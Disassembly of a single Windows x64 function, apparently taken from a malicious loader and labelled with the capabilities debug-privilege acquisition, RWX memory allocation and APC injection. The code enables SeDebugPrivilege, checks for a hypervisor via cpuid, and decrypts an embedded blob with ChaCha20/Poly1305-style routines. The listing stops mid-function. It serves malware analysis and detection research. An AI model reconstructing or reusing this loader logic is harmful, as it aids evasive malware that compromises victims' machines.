Function at 0x14000278f
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Inject apc

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xb18
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xa80], xmm13
movaps xmmword [rbp + 0xa70], xmm12
movaps xmmword [rbp + 0xa60], xmm11
movaps xmmword [rbp + 0xa50], xmm10
movaps xmmword [rbp + 0xa40], xmm9
movdqa xmmword [rbp + 0xa30], xmm8
movaps xmmword [rbp + 0xa20], xmm7
movaps xmmword [rbp + 0xa10], xmm6
and rsp, 0xffffffffffffffe0
lea rsi, [rsp + 0x410]
and qword [rsi], 0
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x4e0]
mov qword [rcx + 8], rax
mov qword [rcx], 1
call fcn.1400093fc
push 0x28
pop rdx
mov rcx, rax
mov r8, rsi
call qword [sym.imp.advapi32.dll_OpenProcessToken]
movdqa xmm0, xmmword [0x140019440]
lea rdi, [rsp + 0x7c4]
movdqu xmmword [rdi - 4], xmm0
push 1
pop rbx
mov rcx, rbx
xor edx, edx
call fcn.140009449
mov r14, rax
lea rdx, str.SeDebugPrivilege
mov rcx, rbx
call fcn.140009449
mov rcx, r14
mov rdx, rax
mov r8, rdi
call qword [sym.imp.advapi32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsi]
test eax, eax
je 0x1400028b4
lea rax, [rsp + 0x4e0]
mov qword [rax + 8], rcx
mov qword [rax], 1
mov rcx, rax
call fcn.1400093fc
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x20], xmm0
lea r8, [rsp + 0x7c0]
push 0x10
pop r9
mov rcx, rax
xor edx, edx
call qword [sym.imp.advapi32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x410]
call fcn.14000941f
mov eax, 0x40000000
cpuid
mov eax, ebx
mov r14d, eax
mov ebx, ecx
mov edi, edx
mov al, byte [0x140024b18]
push 0xc
pop rcx
push 1
pop rdx
call fcn.140004410
test rax, rax
je 0x140003d04
mov rsi, rax
mov eax, r14d
mov r11d, r14d
shr r11d, 0x10
mov ecx, r14d
shr ecx, 0x18
mov edx, ebx
shr edx, 0x10
mov r8d, ebx
shr r8d, 0x18
mov r14d, ebx
mov ebx, edi
mov r9d, edi
shr r9d, 0x10
mov r10d, edi
shr r10d, 0x18
mov byte [rsi], al
mov byte [rsi + 1], ah
mov byte [rsi + 2], r11b
mov byte [rsi + 3], cl
mov eax, r14d
mov byte [rsi + 4], al
mov byte [rsi + 5], ah
mov byte [rsi + 6], dl
mov byte [rsi + 7], r8b
mov byte [rsi + 8], bl
mov byte [rsi + 9], bh
mov byte [rsi + 0xa], r9b
mov byte [rsi + 0xb], r10b
lea r8, [0x140019830]
push 0xc
pop rdx
mov rcx, rsi
call fcn.140001585
test al, al
je 0x140002980
lea r8, [0x14001983c]
push 0xc
pop rdi
mov rcx, rsi
mov rdx, rdi
call fcn.140001585
mov ebx, eax
mov rcx, rsi
mov rdx, rdi
call fcn.1400047fe
test bl, bl
je 0x14000298b
jmp 0x140003cee
push 0xc
pop rdx
mov rcx, rsi
call fcn.1400047fe
lea rsi, [rsp + 0x60]
mov qword [rsi], 1
pxor xmm0, xmm0
movdqu xmmword [rsi + 8], xmm0
xor edi, edi
lea rbx, [0x140019849]
cmp rdi, 0x39b
je 0x1400029c2
mov dl, byte [rdi + rbx]
mov rcx, rsi
call fcn.14000159b
inc rdi
jmp 0x1400029a9
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
lea rsi, [rsp + 0x4e0]
mov rcx, rsi
mov qword [rsp + 0x58], rdx
call fcn.1400057c6
cmp qword [rsi], 0
jne 0x140003d00
lea rdi, [rsp + 0x4e0]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
lea rbx, [rsp + 0x410]
mov qword [rbx], 1
pxor xmm0, xmm0
movdqu xmmword [rbx + 8], xmm0
mov qword [rsp + 0x20], 2
lea r9, [0x140019c6c]
lea r14, [rsp + 0x7c0]
mov rcx, r14
call fcn.14000139e
mov rcx, r14
call fcn.14000249f
test rax, rax
je 0x140002b16
mov r8, rdx
mov qword [rsp + 0x20], 1
mov rcx, rdi
mov rdx, rax
lea r9, str.:93:20:fd:db:be:96__3b:72:43:04:34:b6__3e:1f:8e:c5:5a:3d__6c:b1:85:5f:e8:f5__32:c8:10:c0:58:b5__30:02:80:c2:ee:94__7b:f9:fc:af:71:64__0f:67:31:0e:c9:17__87:3b:6d:a2:d6:e1__75:d1:f2:7d:7d:f2__40:f6:fd:98:36:fa__c3:f6:f7:f6:0c:b5__f3:fe:a7:2e:55:4d__1b:e7:b6:90:ad:b5__3a:49:85:7d:4c:5b__c7:b9:78:63:2d:01__e8:77:1a:80:68:4f__18:25:16:8a:46:31__b6:e3:d5:4f:c6:f4__ce:76:d4:40:95:e1__08:f2:27:7b:bd:df__ed:57:35:6b:81:52__db:f9:2b:c4:e5:e7__cf:9e:42:66:5d:de__49:2b:43:25:43:2f__18:f6:72:31:8b:ca__81:71:28:9c:a7:91__c8:61:f3:55:c4:18__b8:c0:97:f2:10:58__00:a0:b3:bd:1e:24__25:b2:b1:17:9f:a8__7a:2b:d3:66:97:90__e2:5e:8f:99:59:88__8e:da:8e:37:fd:80__e1:ad:bc:5b:70:48__b8:7f:6e:99:de:ec__7f:4f:bc:8a:1e:aa__ef:82:57:99:d3:05__01:60:8a:b1:e3:c8__27:8c:88:7d:0b:21__ab:b2:5a:1e:19:33__ec:2c:87:c7:63:c4__25:68:04:e5:25:09__50:c9:f5:22:14:b0__73:be:9d:96:fb:be__45:c9:8d:5e:aa:b0__3c:e6:28:16:cc:ea__75:24:1a:85:49:96__02:4e:14:47NulError
call fcn.14000139e
mov rcx, rdi
call fcn.14000249f
test rax, rax
je 0x140002a33
mov r13, rdx
test rdx, rdx
je 0x140003d00
mov r12, rax
movzx eax, byte [rax]
cmp eax, 0x2d
je 0x140002a99
cmp eax, 0x2b
jne 0x140002aa3
dec r13
je 0x140003d00
inc r12
jmp 0x140002aa3
cmp r13, 1
je 0x140003d00
xor r15d, r15d
xor esi, esi
cmp r13, 3
jae 0x140002ad3
cmp r13, r15
je 0x140002b07
movzx ecx, byte [r12 + r15]
call fcn.140005c7d
test eax, eax
je 0x140003d00
shl sil, 4
add dl, sil
inc r15
mov esi, edx
jmp 0x140002aae
cmp r13, r15
je 0x140002b07
movzx ecx, byte [r12 + r15]
call fcn.140005c7d
test eax, eax
je 0x140003d00
cmp sil, 0xf
ja 0x140003d00
shl sil, 4
inc r15
add dl, sil
mov esi, edx
jae 0x140002ad3
jmp 0x140003d00
mov rcx, rbx
mov edx, esi
call fcn.14000159b
jmp 0x140002a62
movups xmm0, xmmword [rsp + 0x410]
movaps xmmword [rsp + 0x4e0], xmm0
mov rax, qword [rsp + 0x420]
mov qword [rsp + 0x4f0], rax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call fcn.1400047fe
mov r12, qword [rsp + 0x4f0]
mov qword [rsp + 0x70], r12
movaps xmm0, xmmword [rsp + 0x4e0]
movaps xmmword [rsp + 0x60], xmm0
movabs rax, 0x9f1cfa7c38b60106
mov qword [rsp + 0xe4], rax
mov dword [rsp + 0xec], 0x67426bc2
movaps xmm0, xmmword [0x140019450]
movups xmmword [rsp + 0x1e0], xmm0
movdqa xmm0, xmmword [0x140019460]
movdqu xmmword [rsp + 0x1f0], xmm0
mov rsi, qword [rsp + 0x60]
mov rcx, r12
call fcn.140004812
mov r15, rax
mov rdi, rdx
mov rcx, rax
mov rdx, rsi
mov r8, r12
call fcn.140009f50
cmp r12, 0x10
jb 0x140003cf5
mov qword [rsp + 0x138], rdi
lea r14, [r12 - 0x10]
lea r13, [r15 + r12]
add r13, 0xfffffffffffffff0
lea rdx, [rsp + 0x7d0]
pxor xmm0, xmm0
movdqa xmmword [rdx + 0x20], xmm0
movdqa xmmword [rdx + 0x10], xmm0
movdqa xmmword [rdx], xmm0
lea rax, [rsp + 0x200]
lea rcx, [rsp + 0x1e0]
lea r9, [rsp + 0x180]
mov qword [r9], rcx
mov qword [r9 + 8], 0x20
mov qword [r9 + 0x10], rax
and qword [r9 + 0x18], 0
movdqu xmm0, xmmword [str.expand_32_byte_kMicrosoft_Hv]
movdqa xmmword [rdx - 0x10], xmm0
mov qword [r9 + 0x20], 4
lea r8, [rsp + 0x7f0]
lea rdi, [rsp + 0x4e0]
mov rcx, rdi
call fcn.140001518
mov rax, qword [rdi]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x30]
mov r8, qword [rdi + 0x38]
mov r9, qword [rdi + 0x40]
cmp r8, r9
jae 0x140002c7e
cmp rdx, 4
jne 0x140003d00
mov r10d, dword [rcx + r8*4]
mov dword [rax + r8*4], r10d
inc r8
jmp 0x140002c62
lea rax, [rsp + 0xf0]
lea rcx, [rsp + 0xe4]
lea r9, [rsp + 0x410]
mov qword [r9], rcx
mov qword [r9 + 8], 0xc
mov qword [r9 + 0x10], rax
and qword [r9 + 0x18], 0
mov qword [r9 + 0x20], 4
lea rdx, [rsp + 0x7f4]
lea r8, [rsp + 0x800]
lea rdi, [rsp + 0x4e0]
mov rcx, rdi
call fcn.140001518
mov rax, qword [rdi]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x30]
mov r8, qword [rdi + 0x38]
mov r9, qword [rdi + 0x40]
cmp r8, r9
jae 0x140002d01
cmp rdx, 4
jne 0x140003d00
mov r10d, dword [rcx + r8*4]
mov dword [rax + r8*4], r10d
inc r8
jmp 0x140002ce5
mov al, byte [section..data]
cmp al, 0xff
jne 0x140002dd1
lea rdi, [rsp + 0x80]
mov rcx, rdi
call fcn.140004942
lea rbx, [rsp + 0x4e0]
mov rcx, rbx
call fcn.140004964
mov esi, dword [rdi + 8]
mov edi, dword [rbx + 4]
lea rcx, [0x140019d41]
lea rdx, [0x140019d44]
call fcn.140005cb6
mov ebx, esi
not ebx
test al, al
je 0x140002d64
test ebx, 0xc000000
jne 0x140002dbb
call fcn.140001578
and eax, 2
shr eax, 1
jmp 0x140002dbd
lea rcx, [0x140019d41]
mov rdx, rcx
call fcn.140005cb6
test al, al
je 0x140002d8a
test ebx, 0xc000000
jne 0x140002dbb
call fcn.140001578
not eax
test al, 6
jmp 0x140002db6
lea rcx, [0x140019d41]
lea rdx, [0x140019d47]
call fcn.140005cb6
mov ecx, eax
mov al, 1
test cl, cl
je 0x140002dbd
test ebx, 0xc000000
jne 0x140002dbb
call fcn.140001578
not eax
test al, 0xe6
sete al
jmp 0x140002dbd
xor eax, eax
shr dil, 5
and dil, al
shr esi, 0x1c
and sil, dil
mov byte [section..data], sil
movaps xmm0, xmmword [rsp + 0x7c0]
movaps xmm1, xmmword [rsp + 0x7d0]
movaps xmm2, xmmword [rsp + 0x7e0]
movaps xmm3, xmmword [rsp + 0x7f0]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x4e0], xmm0
movaps xmmword [rsp + 0x4f0], xmm0
movaps xmmword [rsp + 0x500], xmm0
movaps xmmword [rsp + 0x510], xmm0
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmm3, xmmword [rsp + 0xa0]
movaps xmm4, xmmword [rsp + 0xb0]
lea rcx, [rsp + 0x410]
movaps xmmword [rcx + 0x30], xmm4
movaps xmmword [rcx + 0x20], xmm3
movaps xmmword [rcx + 0x10], xmm2
movaps xmmword [rcx], xmm1
movaps xmmword [rcx + 0x70], xmm0
movaps xmmword [rcx + 0x60], xmm0
movaps xmmword [rcx + 0x50], xmm0
movaps xmmword [rcx + 0x40], xmm0
mov byte [rcx + 0x80], 0
lea rdx, [rsp + 0x110]
movaps xmmword [rdx], xmm0
movaps xmmword [rdx + 0x10], xmm0
push 0x20
pop r8
call fcn.1400015d0
mov al, byte [0x140024001]
cmp al, 0xff
mov qword [rsp + 0x58], r14
mov qword [rsp + 0xd8], r15
mov qword [rsp + 0x130], r12
mov qword [rsp + 0xd0], r13
je 0x14000356f
cmp al, 1
jne 0x14000363c
lea rdi, [rsp + 0x4e0]
lea rdx, [rsp + 0x110]
mov rcx, rdi
call fcn.140007e17
movaps xmm6, xmmword [rdi]
movaps xmm7, xmmword [rdi + 0x10]
movaps xmm0, xmmword [rdi + 0x20]
movaps xmm1, xmmword [rdi + 0x30]
lea rdx, [rsp + 0x180]
movaps xmmword [rdx], xmm0
movaps xmmword [rdx + 0x10], xmm1
movaps xmm0, xmmword [rdi + 0x40]
movaps xmmword [rdx + 0x20], xmm0
movaps xmm0, xmmword [rdi + 0x50]
movaps xmmword [rdx + 0x30], xmm0
lea rdi, [rsp + 0x80]
mov rcx, rdi
mov r8, rdx
call fcn.140005f2e
movaps xmm10, xmmword [rdi]
movaps xmm11, xmmword [rdi + 0x10]
movaps xmm8, xmmword [rdi + 0x20]
movaps xmm9, xmmword [rdi + 0x30]
mov eax, 0x3ffffff
mov qword [rsp + 0x20], rax
lea rbx, [rsp + 0x4a0]
push 0xffffffffffffffff
pop r13
mov r8d, 0x3ffffff
mov r9d, 0x3ffffff
mov rcx, rbx
mov rdx, r13
call fcn.1400064b1
lea rdx, [rsp + 0x360]
movaps xmmword [rdx + 0x10], xmm11
movaps xmmword [rdx], xmm10
lea rdi, [rsp + 0x3c0]
mov rcx, rdi
mov r8, rbx
call fcn.140006751
push 0x1a
pop r8
mov qword [rsp + 0x20], r8
lea rbx, [rsp + 0x4c0]
push 0x40
pop rdx
mov rcx, rbx
mov r9, r8
call fcn.1400064b1
lea rdx, [rsp + 0x380]
movaps xmmword [rdx + 0x10], xmm11
movaps xmmword [rdx], xmm10
lea r15, [rsp + 0x3a0]
mov rcx, r15
mov r8, rbx
call fcn.140007e95
lea r14, [rsp + 0x3e0]
mov rcx, r14
mov rdx, r15
call fcn.140006762
lea rbx, [rsp + 0x4e0]
mov rcx, rbx
mov rdx, rdi
mov r8, r14
call fcn.140006502
movaps xmm10, xmmword [rbx]
movaps xmm11, xmmword [rbx + 0x10]
lea r12, [rsp + 0x1c0]
movaps xmmword [r12 + 0x10], xmm11
movaps xmmword [r12], xmm10
lea rdi, [rsp + 0x2c0]
mov rcx, rdi
mov rdx, r12
call fcn.140007d96
lea rbx, [rsp + 0x300]
mov rcx, rbx
mov rdx, rdi
call fcn.140006762
lea rdx, [rsp + 0x2e0]
movaps xmmword [rdx + 0x10], xmm9
movaps xmmword [rdx], xmm8
lea rcx, [rsp + 0x4e0]
mov r8, rbx
call fcn.140006502
or qword [rsp + 0x20], 0xffffffffffffffff
lea rsi, [rsp + 0x140]
mov edx, 0x3ffffff
mov rcx, rsi
mov r8, r13
mov r9, r13
call fcn.1400064b1
lea rbx, [rsp + 0x320]
movaps xmmword [rbx + 0x10], xmm11
movaps xmmword [rbx], xmm10
lea r13, [rsp + 0x500]
mov rcx, r13
mov rdx, rbx
mov r8, rsi
call fcn.140006751
movaps xmm8, xmmword [r13 - 0x20]
movaps xmm9, xmmword [r13 - 0x10]
movaps xmm10, xmmword [r13]
movaps xmm11, xmmword [r13 + 0x10]
push 0x1a
pop rax
mov qword [rsp + 0x20], rax
lea rsi, [rsp + 0x3c0]
mov rcx, rsi
push 0x40
pop rdx
mov r8, rdx
mov r9, rdx
call fcn.1400064b1
movaps xmmword [r15 + 0x10], xmm9
movaps xmmword [r15], xmm8
lea r15, [rsp + 0x4e0]
lea rdx, [rsp + 0x3a0]
mov rcx, r15
mov r8, rsi
call fcn.140007e95
movaps xmm12, xmmword [r15]
movaps xmm13, xmmword [r15 + 0x10]
movaps xmmword [r14 + 0x10], xmm11
movaps xmmword [r14], xmm10
movaps xmmword [r12 + 0x10], xmm13
movaps xmmword [r12], xmm12
lea r12, [rsp + 0x2e0]
lea rdx, [rsp + 0x3e0]
lea r8, [rsp + 0x1c0]
mov rcx, r12
call fcn.140006502
movaps xmmword [rdi + 0x10], xmm13
movaps xmmword [rdi], xmm12
lea rsi, [rsp + 0x300]
lea rdx, [rsp + 0x2c0]
mov rcx, rsi
call fcn.140007ea6
lea rdi, [rsp + 0x4e0]
mov rcx, rdi
mov rdx, r12
mov r8, rsi
call fcn.140006502
movaps xmm10, xmmword [rdi]
movaps xmm11, xmmword [rdi + 0x10]
mov r15d, 0x3ffffff
mov qword [rsp + 0x20], r15
xor r13d, r13d
lea rsi, [rsp + 0x140]
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call fcn.1400064b1
movaps xmmword [rbx + 0x10], xmm9
movaps xmmword [rbx], xmm8
lea rdi, [rsp + 0x4e0]
lea r14, [rsp + 0x320]
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call fcn.140006751
movaps xmm8, xmmword [rdi]
movaps xmm9, xmmword [rdi + 0x10]
mov qword [rsp + 0x20], r15
lea rsi, [rsp + 0x4a0]
mov r8d, 0x3ffffff
mov r9d, 0x3ffffff
mov rcx, rsi
push 0xffffffffffffffff
pop r15
mov rdx, r15
call fcn.1400064b1
lea rax, [rsp + 0x360]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea rdi, [rsp + 0x3c0]
lea rdx, [rsp + 0x360]
mov rcx, rdi
mov r8, rsi
call fcn.140006751
push 0x1a
pop r8
mov qword [rsp + 0x20], r8
lea rsi, [rsp + 0x4c0]
mov rcx, rsi
push 0x40
pop rdx
mov r9, r8
call fcn.1400064b1
lea rax, [rsp + 0x380]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea rbx, [rsp + 0x3a0]
lea rdx, [rsp + 0x380]
mov rcx, rbx
mov r8, rsi
call fcn.140007e95
lea rsi, [rsp + 0x3e0]
mov rcx, rsi
mov rdx, rbx
call fcn.140006762
lea rbx, [rsp + 0x4e0]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.140006502
movaps xmm10, xmmword [rbx]
movaps xmm11, xmmword [rbx + 0x10]
lea rax, [rsp + 0x1c0]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea rbx, [rsp + 0x2c0]
lea rdx, [rsp + 0x1c0]
mov rcx, rbx
call fcn.140007d96
lea rdi, [rsp + 0x300]
mov rcx, rdi
mov rdx, rbx
call fcn.140006762
movaps xmmword [r12 + 0x10], xmm9
movaps xmmword [r12], xmm8
lea rcx, [rsp + 0x4e0]
lea rdx, [rsp + 0x2e0]
mov r8, rdi
call fcn.140006502
or qword [rsp + 0x20], 0xffffffffffffffff
lea rsi, [rsp + 0x140]
mov edx, 0x3ffffff
mov rcx, rsi
mov r8, r15
mov r9, r15
call fcn.1400064b1
movaps xmmword [r14 + 0x10], xmm11
movaps xmmword [r14], xmm10
lea r14, [rsp + 0x500]
lea rdx, [rsp + 0x320]
mov rcx, r14
mov r8, rsi
call fcn.140006751
movdqa xmm8, xmmword [r14 - 0x20]
movaps xmm9, xmmword [r14 - 0x10]
movaps xmm10, xmmword [r14]
movaps xmm11, xmmword [r14 + 0x10]
push 2
pop r12
mov dword [rsp + 0x38], r12d
push 4
pop r14
mov dword [rsp + 0x30], r14d
push 6
pop r15
mov dword [rsp + 0x28], r15d
and dword [rsp + 0x40], 0
and dword [rsp + 0x20], 0
lea rsi, [rsp + 0x2e0]
mov rcx, rsi
xor edx, edx
mov r8d, r15d
mov r9d, r14d
call fcn.140005ebd
movaps xmmword [rbx + 0x10], xmm11
movaps xmmword [rbx], xmm10
lea rbx, [rsp + 0x140]
lea rdx, [rsp + 0x2c0]
mov rcx, rbx
mov r8, rsi
call fcn.140005efd
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r15d
and dword [rsp + 0x40], 0
and dword [rsp + 0x20], 0
lea rsi, [rsp + 0x320]
mov rcx, rsi
xor edx, edx
mov r8d, r15d
mov r9d, r14d
call fcn.140005ebd
movaps xmmword [rdi + 0x10], xmm9
movdqa xmmword [rdi], xmm8
lea rdi, [rsp + 0x4e0]
lea rdx, [rsp + 0x300]
mov rcx, rdi
mov r8, rsi
call fcn.140005efd
lea rsi, [rsp + 0x1c0]
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.140007eb7
lea rcx, [rsp + 0x80]
mov rdx, rsi
call fcn.140007c58
lea rcx, [rsp + 0x140]
call fcn.140005e45
cmp r13, 0x40
je 0x14000345f
movdqu xmm0, xmmword [rsp + 0x140]
movdqu xmmword [rsp + r13 + 0x4e0], xmm0
add r13, 0x10
jmp 0x140003440
movaps xmm0, xmmword [rsp + 0x180]
movaps xmm1, xmmword [rsp + 0x190]
movaps xmm2, xmmword [rsp + 0x1a0]
movaps xmm3, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0x280], xmm0
movaps xmmword [rsp + 0x290], xmm1
movaps xmmword [rsp + 0x2a0], xmm2
movaps xmmword [rsp + 0x2b0], xmm3
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movaps xmm2, xmmword [rsp + 0xa0]
movaps xmm3, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x240], xmm0
movaps xmmword [rsp + 0x250], xmm1
movaps xmmword [rsp + 0x260], xmm2
movaps xmmword [rsp + 0x270], xmm3
lea rdx, [rsp + 0x4e0]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x230], xmm3
movaps xmmword [rsp + 0x220], xmm2
movaps xmmword [rsp + 0x210], xmm1
movaps xmmword [rsp + 0x200], xmm0
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x100], eax
movups xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0xf0], xmm0
lea rcx, [rsp + 0x7c0]
mov r8d, 0x108
call fcn.140009f50
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x160], xmm0
mov rax, qword [rsp + 0x8f]
mov qword [rsp + 0x16f], rax
xor r12d, r12d
jmp 0x1400036c6
lea rdi, [rsp + 0x7c0]
mov rcx, rdi
call fcn.140004942
lea rbx, [rsp + 0x4e0]
mov rcx, rbx
call fcn.140004964
mov esi, dword [rdi + 8]
mov edi, dword [rbx + 4]
lea rcx, [0x140019d41]
lea rdx, [0x140019d44]
call fcn.140005cb6
test al, al
je 0x1400035c3
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140003620
call fcn.140001578
and eax, 2
shr eax, 1
jmp 0x140003622
lea rcx, [0x140019d41]
mov rdx, rcx
call fcn.140005cb6
test al, al
je 0x1400035ec
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140003620
call fcn.140001578
not eax
test al, 6
jmp 0x14000361b
lea rcx, [0x140019d41]
lea rdx, [0x140019d47]
call fcn.140005cb6
mov ecx, eax
mov al, 1
test cl, cl
je 0x140003622
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140003620
call fcn.140001578
not eax
test al, 0xe6
sete al
jmp 0x140003622
xor eax, eax
shr dil, 5
and dil, al
shr esi, 0x1c
and sil, dil
mov byte [0x140024001], sil
jne 0x140002ecd
xorps xmm0, xmm0
and dword [rsp + 0x100], 0
movaps xmmword [rsp + 0xf0], xmm0
mov esi, 0x3ffffff
and esi, dword [rsp + 0x110]
mov ebx, dword [rsp + 0x113]
mov r14d, dword [rsp + 0x116]
shr ebx, 2
and ebx, 0x3ffff03
shr r14d, 4
and r14d, 0x3ffc0ff
mov r15d, dword [rsp + 0x119]
shr r15d, 6
and r15d, 0x3f03fff
mov r13d, dword [rsp + 0x11c]
shr r13d, 8
and r13d, 0xfffff
movdqa xmm8, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x350], xmm8
mov r12b, byte [rsp + 0x350]
psrldq xmm8, 1
mov eax, dword [rsp + 0x100]
lea rdi, [rsp + 0x518]
mov dword [rdi - 4], eax
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rdi - 0x14], xmm0
lea rdx, [rsp + 0x7c0]
mov r8d, 0x108
mov rcx, rdi
call fcn.140009f50
movaps xmm0, xmmword [rsp + 0x280]
movaps xmm1, xmmword [rsp + 0x290]
movaps xmm2, xmmword [rsp + 0x2a0]
movaps xmm3, xmmword [rsp + 0x2b0]
movaps xmmword [rdi + 0x128], xmm0
movaps xmmword [rdi + 0x138], xmm1
movaps xmmword [rdi + 0x148], xmm2
movaps xmmword [rdi + 0x158], xmm3
movaps xmm0, xmmword [rsp + 0x240]
movaps xmm1, xmmword [rsp + 0x250]
movaps xmm2, xmmword [rsp + 0x260]
movaps xmm3, xmmword [rsp + 0x270]
movaps xmmword [rdi + 0x168], xmm0
movaps xmmword [rdi + 0x178], xmm1
movaps xmmword [rdi + 0x188], xmm2
movaps xmmword [rdi + 0x198], xmm3
movaps xmm0, xmmword [rsp + 0x200]
movaps xmm1, xmmword [rsp + 0x210]
movaps xmm2, xmmword [rsp + 0x220]
movaps xmm3, xmmword [rsp + 0x230]
movaps xmmword [rdi + 0x1a8], xmm0
movaps xmmword [rdi + 0x1b8], xmm1
movaps xmmword [rdi + 0x1c8], xmm2
movaps xmmword [rdi + 0x1d8], xmm3
mov rax, qword [rsp + 0x16f]
mov qword [rdi + 0x200], rax
movaps xmm0, xmmword [rsp + 0x160]
movups xmmword [rdi + 0x1f1], xmm0
mov byte [rdi - 0x38], r12b
movdqa xmmword [rsp + 0x340], xmm8
movq qword [rdi - 0x37], xmm8
pshufd xmm0, xmm8, 0xee
movd dword [rdi - 0x2f], xmm0
pextrw eax, xmm8, 6
mov word [rdi - 0x2b], ax
mov al, byte [rsp + 0x34e]
mov byte [rdi - 0x29], al
mov dword [rdi - 0x28], esi
mov dword [rdi - 0x24], ebx
mov dword [rdi - 0x20], r14d
mov dword [rdi - 0x1c], r15d
mov dword [rdi - 0x18], r13d
movaps xmmword [rdi + 0x108], xmm6
movaps xmmword [rdi + 0x118], xmm7
and qword [rdi + 0x1e8], 0
xor ebx, ebx
mov byte [rdi + 0x1f0], bl
lea rcx, [rsp + 0x110]
push 0x20
pop rdx
call fcn.140009464
lea rdx, [rsp + 0x410]
mov dword [rdx + 0x30], 1
mov byte [rdx + 0x80], bl
lea r13, [rsp + 0x720]
mov r8d, 0x84
mov rcx, r13
call fcn.140009f50
movabs rax, 0x3fffffffbf
mov r14, qword [rsp + 0x58]
cmp r14, rax
mov r15, qword [rsp + 0xd8]
mov r12, qword [rsp + 0x130]
ja 0x140003b10
lea rdx, [0x140019c30]
lea rdi, [rsp + 0x4e0]
mov rcx, rdi
xor r8d, r8d
call fcn.140001000
mov rcx, rdi
mov rdx, r15
mov r8, r14
call fcn.140001000
lea rsi, [rsp + 0x410]
mov rcx, rsi
call fcn.140005e45
and qword [rsi], 0
mov qword [rsi + 8], r14
mov rax, qword [rsi]
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x7c0]
mov qword [rdx], rax
mov qword [rdx + 8], rcx
push 1
pop r8
mov rcx, rdi
call fcn.140001062
lea rcx, [rsp + 0x7c0]
mov r8d, 0x240
mov rdx, rdi
call fcn.140009f50
mov al, byte [0x140024001]
cmp al, 1
jne 0x14000392e
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x7c0]
call fcn.140006770
jmp 0x140003aba
mov esi, dword [rsp + 0x7e8]
mov eax, esi
shr eax, 0x1a
mov edx, 0x3ffffff
and esi, edx
add eax, dword [rsp + 0x7ec]
mov ecx, eax
shr ecx, 0x1a
and eax, edx
add ecx, dword [rsp + 0x7f0]
mov r9d, ecx
shr r9d, 0x1a
add r9d, dword [rsp + 0x7f4]
and ecx, edx
mov r10d, r9d
shr r10d, 0x1a
mov r8d, r9d
and r8d, edx
lea r11d, [r10 + r10*4]
add r11d, dword [rsp + 0x7e4]
mov r10d, r11d
shr r10d, 0x1a
add r10d, esi
and r11d, edx
lea ebx, [r11 + 5]
mov esi, ebx
shr esi, 0x1a
add esi, r10d
mov edi, esi
shr edi, 0x1a
add edi, eax
mov r15d, edi
shr r15d, 0x1a
add r15d, ecx
mov r13, r12
mov r12d, r15d
shr r12d, 0x1a
lea r14d, [r12 + r8]
add r14d, 0xfc000000
add r12d, r8d
mov r8d, r14d
sar r8d, 0x1f
shr r14d, 0x1f
dec r14d
and edx, r14d
and ebx, edx
and esi, edx
and edi, edx
and edx, r15d
and r14d, r12d
mov r12, r13
lea r13, [rsp + 0x720]
and r11d, r8d
or r11d, ebx
and r10d, r8d
or r10d, esi
and eax, r8d
or eax, edi
and ecx, r8d
or ecx, edx
and r8d, r9d
or r8d, r14d
mov edi, r10d
shl edi, 0x1a
or edi, r11d
shr r10d, 6
mov edx, eax
shl edx, 0x14
or edx, r10d
shr eax, 0xc
mov r9d, ecx
shl r9d, 0xe
or r9d, eax
shr ecx, 0x12
shl r8d, 8
or r8d, ecx
add edi, dword [rsp + 0x7c0]
mov ebx, dword [rsp + 0x7c4]
mov eax, dword [rsp + 0x7c8]
adc rbx, rdx
add rax, r9
mov r14, rbx
shr r14, 0x20
add r8d, dword [rsp + 0x7cc]
add r14, rax
mov r15, r14
shr r15, 0x20
add r15d, r8d
lea rsi, [rsp + 0x410]
mov rcx, rsi
call fcn.140005e45
mov dword [rsi], edi
mov dword [rsi + 4], ebx
mov dword [rsi + 8], r14d
mov r14, qword [rsp + 0x58]
mov dword [rsi + 0xc], r15d
mov r15, qword [rsp + 0xd8]
mov eax, dword [rsi]
mov dword [rsp + 0x80], eax
mov eax, dword [rsi + 4]
